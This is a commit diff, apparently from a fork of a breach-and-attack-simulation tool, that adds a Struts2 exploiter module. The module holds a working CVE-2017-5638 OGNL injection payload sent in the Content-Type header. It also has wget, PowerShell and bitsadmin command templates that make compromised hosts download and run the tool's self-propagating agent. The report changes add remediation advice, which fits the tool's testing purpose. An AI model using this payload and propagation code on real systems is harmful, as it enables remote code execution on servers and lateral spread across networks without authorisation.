forked from p15670423/monkey
commit
3118620c8a
|
@ -7,7 +7,7 @@ from abc import ABCMeta
|
||||||
from itertools import product
|
from itertools import product
|
||||||
|
|
||||||
from exploit import WmiExploiter, Ms08_067_Exploiter, SmbExploiter, RdpExploiter, SSHExploiter, ShellShockExploiter, \
|
from exploit import WmiExploiter, Ms08_067_Exploiter, SmbExploiter, RdpExploiter, SSHExploiter, ShellShockExploiter, \
|
||||||
SambaCryExploiter, ElasticGroovyExploiter
|
SambaCryExploiter, ElasticGroovyExploiter, Struts2Exploiter
|
||||||
from network import TcpScanner, PingScanner, SMBFinger, SSHFinger, HTTPFinger, MySQLFinger, ElasticFinger, \
|
from network import TcpScanner, PingScanner, SMBFinger, SSHFinger, HTTPFinger, MySQLFinger, ElasticFinger, \
|
||||||
MSSQLFinger
|
MSSQLFinger
|
||||||
|
|
||||||
|
@ -149,7 +149,7 @@ class Configuration(object):
|
||||||
finger_classes = [SMBFinger, SSHFinger, PingScanner, HTTPFinger, MySQLFinger, ElasticFinger, MSSQLFinger]
|
finger_classes = [SMBFinger, SSHFinger, PingScanner, HTTPFinger, MySQLFinger, ElasticFinger, MSSQLFinger]
|
||||||
exploiter_classes = [SmbExploiter, WmiExploiter, # Windows exploits
|
exploiter_classes = [SmbExploiter, WmiExploiter, # Windows exploits
|
||||||
SSHExploiter, ShellShockExploiter, SambaCryExploiter, # Linux
|
SSHExploiter, ShellShockExploiter, SambaCryExploiter, # Linux
|
||||||
ElasticGroovyExploiter, # multi
|
ElasticGroovyExploiter, Struts2Exploiter # multi
|
||||||
]
|
]
|
||||||
|
|
||||||
# how many victims to look for in a single scan iteration
|
# how many victims to look for in a single scan iteration
|
||||||
|
|
|
@ -36,7 +36,8 @@
|
||||||
"WmiExploiter",
|
"WmiExploiter",
|
||||||
"ShellShockExploiter",
|
"ShellShockExploiter",
|
||||||
"ElasticGroovyExploiter",
|
"ElasticGroovyExploiter",
|
||||||
"SambaCryExploiter"
|
"SambaCryExploiter",
|
||||||
|
"Struts2Exploiter"
|
||||||
],
|
],
|
||||||
"finger_classes": [
|
"finger_classes": [
|
||||||
"SSHFinger",
|
"SSHFinger",
|
||||||
|
|
|
@ -41,3 +41,4 @@ from sshexec import SSHExploiter
|
||||||
from shellshock import ShellShockExploiter
|
from shellshock import ShellShockExploiter
|
||||||
from sambacry import SambaCryExploiter
|
from sambacry import SambaCryExploiter
|
||||||
from elasticgroovy import ElasticGroovyExploiter
|
from elasticgroovy import ElasticGroovyExploiter
|
||||||
|
from struts2 import Struts2Exploiter
|
||||||
|
|
|
@ -0,0 +1,246 @@
|
||||||
|
"""
|
||||||
|
Implementation is based on Struts2 jakarta multiparser RCE exploit ( CVE-2017-5638 )
|
||||||
|
code used is from https://www.exploit-db.com/exploits/41570/
|
||||||
|
Vulnerable struts2 versions <=2.3.31 and <=2.5.10
|
||||||
|
"""
|
||||||
|
import urllib2
|
||||||
|
import httplib
|
||||||
|
import unicodedata
|
||||||
|
import re
|
||||||
|
|
||||||
|
import logging
|
||||||
|
from exploit import HostExploiter
|
||||||
|
from exploit.tools import get_target_monkey, get_monkey_depth
|
||||||
|
from tools import build_monkey_commandline, HTTPTools
|
||||||
|
from model import CHECK_LINUX, CHECK_WINDOWS, POWERSHELL_HTTP, WGET_HTTP, EXISTS, ID_STRING, RDP_CMDLINE_HTTP, \
|
||||||
|
DROPPER_ARG
|
||||||
|
|
||||||
|
__author__ = "VakarisZ"
|
||||||
|
|
||||||
|
LOG = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
DOWNLOAD_TIMEOUT = 300
|
||||||
|
|
||||||
|
class Struts2Exploiter(HostExploiter):
|
||||||
|
_TARGET_OS_TYPE = ['linux', 'windows']
|
||||||
|
|
||||||
|
def __init__(self, host):
|
||||||
|
super(Struts2Exploiter, self).__init__(host)
|
||||||
|
self._config = __import__('config').WormConfiguration
|
||||||
|
self.skip_exist = self._config.skip_exploit_if_file_exist
|
||||||
|
self.HTTP = [str(port) for port in self._config.HTTP_PORTS]
|
||||||
|
|
||||||
|
def exploit_host(self):
|
||||||
|
dropper_path_linux = self._config.dropper_target_path_linux
|
||||||
|
dropper_path_win_32 = self._config.dropper_target_path_win_32
|
||||||
|
dropper_path_win_64 = self._config.dropper_target_path_win_64
|
||||||
|
|
||||||
|
ports = self.get_exploitable_ports(self.host, self.HTTP, ["http"])
|
||||||
|
|
||||||
|
if not ports:
|
||||||
|
LOG.info("All web ports are closed on %r, skipping", self.host)
|
||||||
|
return False
|
||||||
|
|
||||||
|
for port in ports:
|
||||||
|
if port[1]:
|
||||||
|
current_host = "https://%s:%s" % (self.host.ip_addr, port[0])
|
||||||
|
else:
|
||||||
|
current_host = "http://%s:%s" % (self.host.ip_addr, port[0])
|
||||||
|
# Get full URL
|
||||||
|
url = self.get_redirected(current_host)
|
||||||
|
LOG.info("Trying to exploit with struts2")
|
||||||
|
# Check if host is vulnerable and get host os architecture
|
||||||
|
if 'linux' in self.host.os['type']:
|
||||||
|
return self.exploit_linux(url, dropper_path_linux)
|
||||||
|
else:
|
||||||
|
return self.exploit_windows(url, [dropper_path_win_32, dropper_path_win_64])
|
||||||
|
|
||||||
|
def check_remote_file(self, host, path):
|
||||||
|
command = EXISTS % path
|
||||||
|
resp = self.exploit(host, command)
|
||||||
|
if 'No such file' in resp:
|
||||||
|
return False
|
||||||
|
else:
|
||||||
|
LOG.info("Host %s was already infected under the current configuration, done" % self.host)
|
||||||
|
return True
|
||||||
|
|
||||||
|
def exploit_linux(self, url, dropper_path):
|
||||||
|
host_arch = Struts2Exploiter.check_exploit_linux(url)
|
||||||
|
if host_arch:
|
||||||
|
self.host.os['machine'] = host_arch
|
||||||
|
if url and host_arch:
|
||||||
|
LOG.info("Host is exploitable with struts2 RCE vulnerability")
|
||||||
|
# If monkey already exists and option not to exploit in that case is selected
|
||||||
|
if self.skip_exist and self.check_remote_file(url, dropper_path):
|
||||||
|
LOG.info("Host %s was already infected under the current configuration, done" % self.host)
|
||||||
|
return True
|
||||||
|
|
||||||
|
src_path = get_target_monkey(self.host)
|
||||||
|
if not src_path:
|
||||||
|
LOG.info("Can't find suitable monkey executable for host %r", self.host)
|
||||||
|
return False
|
||||||
|
# create server for http download.
|
||||||
|
http_path, http_thread = HTTPTools.create_transfer(self.host, src_path)
|
||||||
|
if not http_path:
|
||||||
|
LOG.debug("Exploiter Struts2 failed, http transfer creation failed.")
|
||||||
|
return False
|
||||||
|
LOG.info("Started http server on %s", http_path)
|
||||||
|
|
||||||
|
cmdline = build_monkey_commandline(self.host, get_monkey_depth() - 1, dropper_path)
|
||||||
|
|
||||||
|
command = WGET_HTTP % {'monkey_path': dropper_path,
|
||||||
|
'http_path': http_path, 'parameters': cmdline}
|
||||||
|
|
||||||
|
self.exploit(url, command)
|
||||||
|
|
||||||
|
http_thread.join(DOWNLOAD_TIMEOUT)
|
||||||
|
http_thread.stop()
|
||||||
|
LOG.info("Struts2 exploit attempt finished")
|
||||||
|
|
||||||
|
return True
|
||||||
|
|
||||||
|
return False
|
||||||
|
|
||||||
|
def exploit_windows(self, url, dropper_paths):
|
||||||
|
"""
|
||||||
|
:param url: Where to send malicious request
|
||||||
|
:param dropper_paths: [0]-monkey-windows-32.bat, [1]-monkey-windows-64.bat
|
||||||
|
:return: Bool. Successfully exploited or not
|
||||||
|
"""
|
||||||
|
host_arch = Struts2Exploiter.check_exploit_windows(url)
|
||||||
|
if host_arch:
|
||||||
|
self.host.os['machine'] = host_arch
|
||||||
|
if url and host_arch:
|
||||||
|
LOG.info("Host is exploitable with struts2 RCE vulnerability")
|
||||||
|
# If monkey already exists and option not to exploit in that case is selected
|
||||||
|
if self.skip_exist:
|
||||||
|
for dropper_path in dropper_paths:
|
||||||
|
if self.check_remote_file(url, re.sub(r"\\", r"\\\\", dropper_path)):
|
||||||
|
LOG.info("Host %s was already infected under the current configuration, done" % self.host)
|
||||||
|
return True
|
||||||
|
|
||||||
|
src_path = get_target_monkey(self.host)
|
||||||
|
if not src_path:
|
||||||
|
LOG.info("Can't find suitable monkey executable for host %r", self.host)
|
||||||
|
return False
|
||||||
|
# Select the dir and name for monkey on the host
|
||||||
|
if "windows-32" in src_path:
|
||||||
|
dropper_path = dropper_paths[0]
|
||||||
|
else:
|
||||||
|
dropper_path = dropper_paths[1]
|
||||||
|
# create server for http download.
|
||||||
|
http_path, http_thread = HTTPTools.create_transfer(self.host, src_path)
|
||||||
|
if not http_path:
|
||||||
|
LOG.debug("Exploiter Struts2 failed, http transfer creation failed.")
|
||||||
|
return False
|
||||||
|
LOG.info("Started http server on %s", http_path)
|
||||||
|
|
||||||
|
# We need to double escape backslashes. Once for payload, twice for command
|
||||||
|
cmdline = re.sub(r"\\", r"\\\\", build_monkey_commandline(self.host, get_monkey_depth() - 1, dropper_path))
|
||||||
|
|
||||||
|
command = POWERSHELL_HTTP % {'monkey_path': re.sub(r"\\", r"\\\\", dropper_path),
|
||||||
|
'http_path': http_path, 'parameters': cmdline}
|
||||||
|
|
||||||
|
backup_command = RDP_CMDLINE_HTTP % {'monkey_path': re.sub(r"\\", r"\\\\", dropper_path),
|
||||||
|
'http_path': http_path, 'parameters': cmdline, 'type': DROPPER_ARG}
|
||||||
|
|
||||||
|
resp = self.exploit(url, command)
|
||||||
|
|
||||||
|
if 'powershell is not recognized' in resp:
|
||||||
|
self.exploit(url, backup_command)
|
||||||
|
|
||||||
|
http_thread.join(DOWNLOAD_TIMEOUT)
|
||||||
|
http_thread.stop()
|
||||||
|
LOG.info("Struts2 exploit attempt finished")
|
||||||
|
|
||||||
|
return True
|
||||||
|
|
||||||
|
return False
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def check_exploit_windows(url):
|
||||||
|
resp = Struts2Exploiter.exploit(url, CHECK_WINDOWS)
|
||||||
|
if resp and ID_STRING in resp:
|
||||||
|
if "64-bit" in resp:
|
||||||
|
return "64"
|
||||||
|
else:
|
||||||
|
return "32"
|
||||||
|
else:
|
||||||
|
return False
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def check_exploit_linux(url):
|
||||||
|
resp = Struts2Exploiter.exploit(url, CHECK_LINUX)
|
||||||
|
if resp and ID_STRING in resp:
|
||||||
|
# Pulls architecture string
|
||||||
|
arch = re.search('(?<=Architecture:)\s+(\w+)', resp)
|
||||||
|
arch = arch.group(1)
|
||||||
|
return arch
|
||||||
|
else:
|
||||||
|
return False
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def get_redirected(url):
|
||||||
|
# Returns false if url is not right
|
||||||
|
headers = {'User-Agent': 'Mozilla/5.0'}
|
||||||
|
request = urllib2.Request(url, headers=headers)
|
||||||
|
try:
|
||||||
|
return urllib2.urlopen(request).geturl()
|
||||||
|
except urllib2.URLError:
|
||||||
|
LOG.error("Can't reach struts2 server")
|
||||||
|
return False
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def exploit(url, cmd):
|
||||||
|
"""
|
||||||
|
:param url: Full url to send request to
|
||||||
|
:param cmd: Code to try and execute on host
|
||||||
|
:return: response
|
||||||
|
"""
|
||||||
|
payload = "%%{(#_='multipart/form-data')." \
|
||||||
|
"(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)." \
|
||||||
|
"(#_memberAccess?" \
|
||||||
|
"(#_memberAccess=#dm):" \
|
||||||
|
"((#container=#context['com.opensymphony.xwork2.ActionContext.container'])." \
|
||||||
|
"(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))." \
|
||||||
|
"(#ognlUtil.getExcludedPackageNames().clear())." \
|
||||||
|
"(#ognlUtil.getExcludedClasses().clear())." \
|
||||||
|
"(#context.setMemberAccess(#dm))))." \
|
||||||
|
"(#cmd='%s')." \
|
||||||
|
"(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))." \
|
||||||
|
"(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))." \
|
||||||
|
"(#p=new java.lang.ProcessBuilder(#cmds))." \
|
||||||
|
"(#p.redirectErrorStream(true)).(#process=#p.start())." \
|
||||||
|
"(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))." \
|
||||||
|
"(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))." \
|
||||||
|
"(#ros.flush())}" % cmd
|
||||||
|
# Turns payload ascii just for consistency
|
||||||
|
if isinstance(payload, unicode):
|
||||||
|
payload = unicodedata.normalize('NFKD', payload).encode('ascii', 'ignore')
|
||||||
|
headers = {'User-Agent': 'Mozilla/5.0', 'Content-Type': payload}
|
||||||
|
try:
|
||||||
|
request = urllib2.Request(url, headers=headers)
|
||||||
|
# Timeout added or else we would wait for all monkeys' output
|
||||||
|
page = urllib2.urlopen(request).read()
|
||||||
|
except AttributeError:
|
||||||
|
# If url does not exist
|
||||||
|
return False
|
||||||
|
except httplib.IncompleteRead as e:
|
||||||
|
page = e.partial
|
||||||
|
|
||||||
|
return page
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def get_exploitable_ports(host, port_list, names):
|
||||||
|
candidate_services = {}
|
||||||
|
for name in names:
|
||||||
|
chosen_services = {
|
||||||
|
service: host.services[service] for service in host.services if
|
||||||
|
('name' in host.services[service]) and (host.services[service]['name'] == name)
|
||||||
|
}
|
||||||
|
candidate_services.update(chosen_services)
|
||||||
|
|
||||||
|
valid_ports = [(port, candidate_services['tcp-' + str(port)]['data'][1]) for port in port_list if
|
||||||
|
'tcp-' + str(port) in candidate_services]
|
||||||
|
|
||||||
|
return valid_ports
|
|
@ -4,6 +4,7 @@ __author__ = 'itamar'
|
||||||
|
|
||||||
MONKEY_ARG = "m0nk3y"
|
MONKEY_ARG = "m0nk3y"
|
||||||
DROPPER_ARG = "dr0pp3r"
|
DROPPER_ARG = "dr0pp3r"
|
||||||
|
ID_STRING = "M0NK3Y3XPL0ITABLE"
|
||||||
DROPPER_CMDLINE_WINDOWS = 'cmd /c %%(dropper_path)s %s' % (DROPPER_ARG, )
|
DROPPER_CMDLINE_WINDOWS = 'cmd /c %%(dropper_path)s %s' % (DROPPER_ARG, )
|
||||||
MONKEY_CMDLINE_WINDOWS = 'cmd /c %%(monkey_path)s %s' % (MONKEY_ARG, )
|
MONKEY_CMDLINE_WINDOWS = 'cmd /c %%(monkey_path)s %s' % (MONKEY_ARG, )
|
||||||
MONKEY_CMDLINE_LINUX = './%%(monkey_filename)s %s' % (MONKEY_ARG, )
|
MONKEY_CMDLINE_LINUX = './%%(monkey_filename)s %s' % (MONKEY_ARG, )
|
||||||
|
@ -14,3 +15,15 @@ MONKEY_CMDLINE_HTTP = 'cmd.exe /c "bitsadmin /transfer Update /download /priorit
|
||||||
RDP_CMDLINE_HTTP_BITS = 'bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&&start /b %%(monkey_path)s %s %%(parameters)s' % (MONKEY_ARG, )
|
RDP_CMDLINE_HTTP_BITS = 'bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&&start /b %%(monkey_path)s %s %%(parameters)s' % (MONKEY_ARG, )
|
||||||
RDP_CMDLINE_HTTP_VBS = 'set o=!TMP!\!RANDOM!.tmp&@echo Set objXMLHTTP=CreateObject("WinHttp.WinHttpRequest.5.1")>!o!&@echo objXMLHTTP.open "GET","%%(http_path)s",false>>!o!&@echo objXMLHTTP.send()>>!o!&@echo If objXMLHTTP.Status=200 Then>>!o!&@echo Set objADOStream=CreateObject("ADODB.Stream")>>!o!&@echo objADOStream.Open>>!o!&@echo objADOStream.Type=1 >>!o!&@echo objADOStream.Write objXMLHTTP.ResponseBody>>!o!&@echo objADOStream.Position=0 >>!o!&@echo objADOStream.SaveToFile "%%(monkey_path)s">>!o!&@echo objADOStream.Close>>!o!&@echo Set objADOStream=Nothing>>!o!&@echo End if>>!o!&@echo Set objXMLHTTP=Nothing>>!o!&@echo Set objShell=CreateObject("WScript.Shell")>>!o!&@echo objShell.Run "%%(monkey_path)s %s %%(parameters)s", 0, false>>!o!&start /b cmd /c cscript.exe //E:vbscript !o!^&del /f /q !o!' % (MONKEY_ARG, )
|
RDP_CMDLINE_HTTP_VBS = 'set o=!TMP!\!RANDOM!.tmp&@echo Set objXMLHTTP=CreateObject("WinHttp.WinHttpRequest.5.1")>!o!&@echo objXMLHTTP.open "GET","%%(http_path)s",false>>!o!&@echo objXMLHTTP.send()>>!o!&@echo If objXMLHTTP.Status=200 Then>>!o!&@echo Set objADOStream=CreateObject("ADODB.Stream")>>!o!&@echo objADOStream.Open>>!o!&@echo objADOStream.Type=1 >>!o!&@echo objADOStream.Write objXMLHTTP.ResponseBody>>!o!&@echo objADOStream.Position=0 >>!o!&@echo objADOStream.SaveToFile "%%(monkey_path)s">>!o!&@echo objADOStream.Close>>!o!&@echo Set objADOStream=Nothing>>!o!&@echo End if>>!o!&@echo Set objXMLHTTP=Nothing>>!o!&@echo Set objShell=CreateObject("WScript.Shell")>>!o!&@echo objShell.Run "%%(monkey_path)s %s %%(parameters)s", 0, false>>!o!&start /b cmd /c cscript.exe //E:vbscript !o!^&del /f /q !o!' % (MONKEY_ARG, )
|
||||||
DELAY_DELETE_CMD = 'cmd /c (for /l %%i in (1,0,2) do (ping -n 60 127.0.0.1 & del /f /q %(file_path)s & if not exist %(file_path)s exit)) > NUL 2>&1'
|
DELAY_DELETE_CMD = 'cmd /c (for /l %%i in (1,0,2) do (ping -n 60 127.0.0.1 & del /f /q %(file_path)s & if not exist %(file_path)s exit)) > NUL 2>&1'
|
||||||
|
|
||||||
|
# Commands used for downloading monkeys
|
||||||
|
POWERSHELL_HTTP = "powershell -NoLogo -Command \"Invoke-WebRequest -Uri \\\'%%(http_path)s\\\' -OutFile \\\'%%(monkey_path)s\\\' -UseBasicParsing; %%(monkey_path)s %s %%(parameters)s\"" % (DROPPER_ARG, )
|
||||||
|
WGET_HTTP = "wget -O %%(monkey_path)s %%(http_path)s && chmod +x %%(monkey_path)s && %%(monkey_path)s %s %%(parameters)s" % (DROPPER_ARG, )
|
||||||
|
RDP_CMDLINE_HTTP = 'bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&&start /b %%(monkey_path)s %%(type)s %%(parameters)s'
|
||||||
|
|
||||||
|
# Commands used to check for architecture and if machine is exploitable
|
||||||
|
CHECK_WINDOWS = "echo %s && wmic os get osarchitecture" % ID_STRING
|
||||||
|
CHECK_LINUX = "echo %s && lscpu" % ID_STRING
|
||||||
|
|
||||||
|
# Commands used to check if monkeys already exists
|
||||||
|
EXISTS = "ls %s"
|
|
@ -21,6 +21,11 @@ MONKEY_DOWNLOADS = [
|
||||||
'machine': 'i686',
|
'machine': 'i686',
|
||||||
'filename': 'monkey-linux-32',
|
'filename': 'monkey-linux-32',
|
||||||
},
|
},
|
||||||
|
{
|
||||||
|
'type': 'linux',
|
||||||
|
'machine': 'i386',
|
||||||
|
'filename': 'monkey-linux-32',
|
||||||
|
},
|
||||||
{
|
{
|
||||||
'type': 'linux',
|
'type': 'linux',
|
||||||
'filename': 'monkey-linux-64',
|
'filename': 'monkey-linux-64',
|
||||||
|
@ -35,6 +40,16 @@ MONKEY_DOWNLOADS = [
|
||||||
'machine': 'amd64',
|
'machine': 'amd64',
|
||||||
'filename': 'monkey-windows-64.exe',
|
'filename': 'monkey-windows-64.exe',
|
||||||
},
|
},
|
||||||
|
{
|
||||||
|
'type': 'windows',
|
||||||
|
'machine': '64',
|
||||||
|
'filename': 'monkey-windows-64.exe',
|
||||||
|
},
|
||||||
|
{
|
||||||
|
'type': 'windows',
|
||||||
|
'machine': '32',
|
||||||
|
'filename': 'monkey-windows-32.exe',
|
||||||
|
},
|
||||||
{
|
{
|
||||||
'type': 'windows',
|
'type': 'windows',
|
||||||
'filename': 'monkey-windows-32.exe',
|
'filename': 'monkey-windows-32.exe',
|
||||||
|
|
|
@ -80,6 +80,13 @@ SCHEMA = {
|
||||||
],
|
],
|
||||||
"title": "ElasticGroovy Exploiter"
|
"title": "ElasticGroovy Exploiter"
|
||||||
},
|
},
|
||||||
|
{
|
||||||
|
"type": "string",
|
||||||
|
"enum": [
|
||||||
|
"Struts2Exploiter"
|
||||||
|
],
|
||||||
|
"title": "Struts2 Exploiter"
|
||||||
|
}
|
||||||
]
|
]
|
||||||
},
|
},
|
||||||
"finger_classes": {
|
"finger_classes": {
|
||||||
|
@ -618,7 +625,8 @@ SCHEMA = {
|
||||||
"SSHExploiter",
|
"SSHExploiter",
|
||||||
"ShellShockExploiter",
|
"ShellShockExploiter",
|
||||||
"SambaCryExploiter",
|
"SambaCryExploiter",
|
||||||
"ElasticGroovyExploiter"
|
"ElasticGroovyExploiter",
|
||||||
|
"Struts2Exploiter"
|
||||||
],
|
],
|
||||||
"description":
|
"description":
|
||||||
"Determines which exploits to use. " + WARNING_SIGN
|
"Determines which exploits to use. " + WARNING_SIGN
|
||||||
|
|
|
@ -30,6 +30,7 @@ class ReportService:
|
||||||
'ElasticGroovyExploiter': 'Elastic Groovy Exploiter',
|
'ElasticGroovyExploiter': 'Elastic Groovy Exploiter',
|
||||||
'Ms08_067_Exploiter': 'Conficker Exploiter',
|
'Ms08_067_Exploiter': 'Conficker Exploiter',
|
||||||
'ShellShockExploiter': 'ShellShock Exploiter',
|
'ShellShockExploiter': 'ShellShock Exploiter',
|
||||||
|
'Struts2Exploiter': 'Struts2 Exploiter'
|
||||||
}
|
}
|
||||||
|
|
||||||
class ISSUES_DICT(Enum):
|
class ISSUES_DICT(Enum):
|
||||||
|
@ -41,6 +42,7 @@ class ReportService:
|
||||||
CONFICKER = 5
|
CONFICKER = 5
|
||||||
AZURE = 6
|
AZURE = 6
|
||||||
STOLEN_SSH_KEYS = 7
|
STOLEN_SSH_KEYS = 7
|
||||||
|
STRUTS2 = 8
|
||||||
|
|
||||||
class WARNINGS_DICT(Enum):
|
class WARNINGS_DICT(Enum):
|
||||||
CROSS_SEGMENT = 0
|
CROSS_SEGMENT = 0
|
||||||
|
@ -290,6 +292,12 @@ class ReportService:
|
||||||
processed_exploit['paths'] = ['/' + url.split(':')[2].split('/')[1] for url in urls]
|
processed_exploit['paths'] = ['/' + url.split(':')[2].split('/')[1] for url in urls]
|
||||||
return processed_exploit
|
return processed_exploit
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def process_struts2_exploit(exploit):
|
||||||
|
processed_exploit = ReportService.process_general_exploit(exploit)
|
||||||
|
processed_exploit['type'] = 'struts2'
|
||||||
|
return processed_exploit
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def process_exploit(exploit):
|
def process_exploit(exploit):
|
||||||
exploiter_type = exploit['data']['exploiter']
|
exploiter_type = exploit['data']['exploiter']
|
||||||
|
@ -302,6 +310,7 @@ class ReportService:
|
||||||
'ElasticGroovyExploiter': ReportService.process_elastic_exploit,
|
'ElasticGroovyExploiter': ReportService.process_elastic_exploit,
|
||||||
'Ms08_067_Exploiter': ReportService.process_conficker_exploit,
|
'Ms08_067_Exploiter': ReportService.process_conficker_exploit,
|
||||||
'ShellShockExploiter': ReportService.process_shellshock_exploit,
|
'ShellShockExploiter': ReportService.process_shellshock_exploit,
|
||||||
|
'Struts2Exploiter': ReportService.process_struts2_exploit
|
||||||
}
|
}
|
||||||
|
|
||||||
return EXPLOIT_PROCESS_FUNCTION_DICT[exploiter_type](exploit)
|
return EXPLOIT_PROCESS_FUNCTION_DICT[exploiter_type](exploit)
|
||||||
|
@ -419,6 +428,8 @@ class ReportService:
|
||||||
issues_byte_array[ReportService.ISSUES_DICT.AZURE.value] = True
|
issues_byte_array[ReportService.ISSUES_DICT.AZURE.value] = True
|
||||||
elif issue['type'] == 'ssh_key':
|
elif issue['type'] == 'ssh_key':
|
||||||
issues_byte_array[ReportService.ISSUES_DICT.STOLEN_SSH_KEYS.value] = True
|
issues_byte_array[ReportService.ISSUES_DICT.STOLEN_SSH_KEYS.value] = True
|
||||||
|
elif issue['type'] == 'struts2':
|
||||||
|
issues_byte_array[ReportService.ISSUES_DICT.STRUTS2.value] = True
|
||||||
elif issue['type'].endswith('_password') and issue['password'] in config_passwords and \
|
elif issue['type'].endswith('_password') and issue['password'] in config_passwords and \
|
||||||
issue['username'] in config_users or issue['type'] == 'ssh':
|
issue['username'] in config_users or issue['type'] == 'ssh':
|
||||||
issues_byte_array[ReportService.ISSUES_DICT.WEAK_PASSWORD.value] = True
|
issues_byte_array[ReportService.ISSUES_DICT.WEAK_PASSWORD.value] = True
|
||||||
|
|
|
@ -23,7 +23,8 @@ class ReportPageComponent extends AuthComponent {
|
||||||
SHELLSHOCK: 4,
|
SHELLSHOCK: 4,
|
||||||
CONFICKER: 5,
|
CONFICKER: 5,
|
||||||
AZURE: 6,
|
AZURE: 6,
|
||||||
STOLEN_SSH_KEYS: 7
|
STOLEN_SSH_KEYS: 7,
|
||||||
|
STRUTS2: 8
|
||||||
};
|
};
|
||||||
|
|
||||||
Warning =
|
Warning =
|
||||||
|
@ -321,7 +322,10 @@ class ReportPageComponent extends AuthComponent {
|
||||||
<li>Azure machines expose plaintext passwords. (<a
|
<li>Azure machines expose plaintext passwords. (<a
|
||||||
href="https://www.guardicore.com/2018/03/recovering-plaintext-passwords-azure/"
|
href="https://www.guardicore.com/2018/03/recovering-plaintext-passwords-azure/"
|
||||||
>More info</a>)</li> : null}
|
>More info</a>)</li> : null}
|
||||||
|
{this.state.report.overview.issues[this.Issue.STRUTS2] ?
|
||||||
|
<li>Struts2 servers are vulnerable to remote code execution. (<a
|
||||||
|
href="https://cwiki.apache.org/confluence/display/WW/S2-045">
|
||||||
|
CVE-2017-5638</a>)</li> : null }
|
||||||
</ul>
|
</ul>
|
||||||
</div>
|
</div>
|
||||||
:
|
:
|
||||||
|
@ -671,6 +675,24 @@ class ReportPageComponent extends AuthComponent {
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
generateStruts2Issue(issue) {
|
||||||
|
return (
|
||||||
|
<li>
|
||||||
|
Upgrade Struts2 to version 2.3.32 or 2.5.10.1 or any later versions.
|
||||||
|
<CollapsibleWellComponent>
|
||||||
|
Struts2 server at <span className="label label-primary">{issue.machine}</span> (<span
|
||||||
|
className="label label-info" style={{margin: '2px'}}>{issue.ip_address}</span>) is vulnerable to <span
|
||||||
|
className="label label-danger">remote code execution</span> attack.
|
||||||
|
<br/>
|
||||||
|
The attack was made possible because the server is using an old version of Jakarta based file upload
|
||||||
|
Multipart parser. For possible work-arounds and more info read <a
|
||||||
|
href="https://cwiki.apache.org/confluence/display/WW/S2-045"
|
||||||
|
>here</a>.
|
||||||
|
</CollapsibleWellComponent>
|
||||||
|
</li>
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
generateIssue = (issue) => {
|
generateIssue = (issue) => {
|
||||||
|
@ -718,6 +740,9 @@ class ReportPageComponent extends AuthComponent {
|
||||||
case 'azure_password':
|
case 'azure_password':
|
||||||
data = this.generateAzureIssue(issue);
|
data = this.generateAzureIssue(issue);
|
||||||
break;
|
break;
|
||||||
|
case 'struts2':
|
||||||
|
data = this.generateStruts2Issue(issue);
|
||||||
|
break;
|
||||||
}
|
}
|
||||||
return data;
|
return data;
|
||||||
};
|
};
|
||||||
|
|
Loading…
Reference in New Issue